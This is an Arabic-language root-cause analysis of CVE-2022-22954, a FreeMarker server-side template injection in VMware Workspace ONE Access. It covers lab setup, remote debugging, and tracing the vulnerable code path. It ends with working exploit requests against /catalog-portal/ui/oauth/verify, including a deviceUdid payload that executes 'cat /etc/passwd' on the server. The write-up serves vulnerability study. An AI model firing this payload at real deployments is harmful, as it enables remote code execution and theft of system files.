
محلل CVE-2022-22954
يوفر Workspace ONE Access (نموذج توفير مساحة العمل كخدمة) ميزات المصادقة متعددة العوامل، وتسجيل الدخول الموحد، والوصول المشروط لتطبيقات SaaS وتطبيقات الويب والجوال. CVE-2022-22954 هو ثغرة حقن القوالب من جانب الخادم (Server-side Template Injection) الموجودة في المنتجات التالية:
قم بتنزيل ملف ova الخاص بـ VMware Workspace ONE Access Appliance الإصدار 21.08.0.1
افتح الملف باستخدام VMware Workstation، ويجب وضع الجهاز الافتراضي على شبكة NAT
في خصائص الشبكة (Networking Properties)، يجب تكوين اسم المضيف (FQDN)

بعد اكتمال التثبيت، انتقل إلى المسار https://{{hostname}}:8443/ لتكوين كلمة مرور حساب التطبيق وكلمة مرور حساب ssh وقاعدة بيانات التطبيق يعمل التطبيق على https://{{hostname}}/

سجّل الدخول إلى الجهاز الافتراضي باستخدام حساب sshuser، ثم انتقل إلى حساب root اكتشف مسار التطبيق في /opt/vmware/horizon/workspace/ الكود المصدري للتطبيق موجود في المجلد /opt/vmware/horizon/workspacce/webapps

افحص الملف /opt/vmware/horizon/workspace/bin/setenv.sh، ولاحظ أن المتغير JAVA_OPTS يمكن تهيئته لتصحيح الأخطاء عن بُعد (remote debug)

أضف -agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n إلى JAVA_OPTS وأعد تشغيل الخدمة
`systemctl restart horizon-workspace.service`
قم بتنزيل ملف التصحيح HW-154129-applyWorkaround.py
تتضمن الخطوات خطوة لإزالة الملف templates/customError.ftl من التطبيق

يوجد في الملف customError.ftl دالة eval. يمكن استغلال ثغرة Freemarker SSTI من هنا إذا تمكّن المهاجم من التحكم في قيمة errorObj.


في الكلاس com.vmware.enusercatalog.ui.web.UiErrorController، نرى أن الدالة handleGenericError تعين القيمة إلى errorObj عبر المتغير errorMessage

دعنا نتابع استدعاءات الدوال والمعامل errorMessage
الدالة handleUnauthorizedError

الدالة getErrorPage

في الدالتين sendError وsendUnhandledError، تُؤخذ قيمة errorMessage من الخاصية javax.servlet.error.message


في الكلاس com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver، تُعين قيمة الخاصية javax.servlet.error.message”* في الدالة resolverExeption

الدالة handleAnyGenericExeption مُعلمة بالتعليق التوضيحي @ExeptionHandler

في الكلاس com.vmware.endusercatalog.ui.UiApplication، ضمن الحزم الموسومة بـ @CommponentScan توجد com.vmware.endusercatalog.auth

=> يمكن التقاط الاستثناءات (exceptions) في هذه الحزمة بواسطة الدالة handleAnyGenericExeption
في com.vmware.endusercatalog.ui.config، تتم إضافة المعترض AuthContextPopilationInterceptor مع المسارات /ui و*/hub-ui* و*/hub-ui/byob* و*/logout* و*/ui/oauth/verify*


بالانتقال إلى الكلاس com.vmware.endusercatalog.auth.interceptor.AuthContextPopulationInterceptor، في الدالة preHandle، يستقبل التطبيق معاملين هما deviceUdid وdeviceType ويستدعي الدالة authContextBuilder

في الكلاس com.vmware.endusercatalog.auth.interceptor.AuthContext، سيظهر الاستثناء InvalidAuthContextException إذا لم يتحقق الشرط this.isValidRequest


لكي يتحقق isValidRequest، يجب أن يكون المعاملان this.deviceId وthis.deviceType فارغين معًا أو بقيمتين معًا

=> تمرير قيمة لأحد المعاملين فقط سيؤدي إلى ظهور خطأ هنا

أرسل الطلب
GET /catalog-portal/ui/oauth/verify?deviceUdid=111
يظهر الخطأ
An unexpected error occurred while processing request with requestId: {0}.
بالعودة إلى الدالة com.vmware.endusercatalog.ui.web.WorkspaceOauth2CodeVerificationController نلاحظ أن الخطأ أعلاه يظهر بسبب نقص المعامل المطلوب error
@GetMapping(
value = {"/ui/oauth/verify"},
params = {"error"}
)
@ApiOperation(
value = "authorizeError",
notes = ""
)
public void authorizeError(@ApiParam @RequestParam String error, @ApiParam @RequestParam(name = "error_description") String errorDescription, @ApiParam @RequestParam(defaultValue = "/admin/") String state) {
LOGGER.debug("Failed to obtain authorization code due to {}:{} received for {}", new Object[]{error, errorDescription, state});
throw new AuthorizationCodeFailedRetrievalException(new Object[]{error, state});
}
أرسل الطلب مرة أخرى
GET /catalog-portal/ui/oauth/verify?error=&deviceUdid=111abc
تظهر قيمة deviceUdid في الاستجابة

أدخل المعامل المسبب لثغرة SSTI في Freemarker

أرسل طلبًا بالقيمة
deviceUdid=${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}

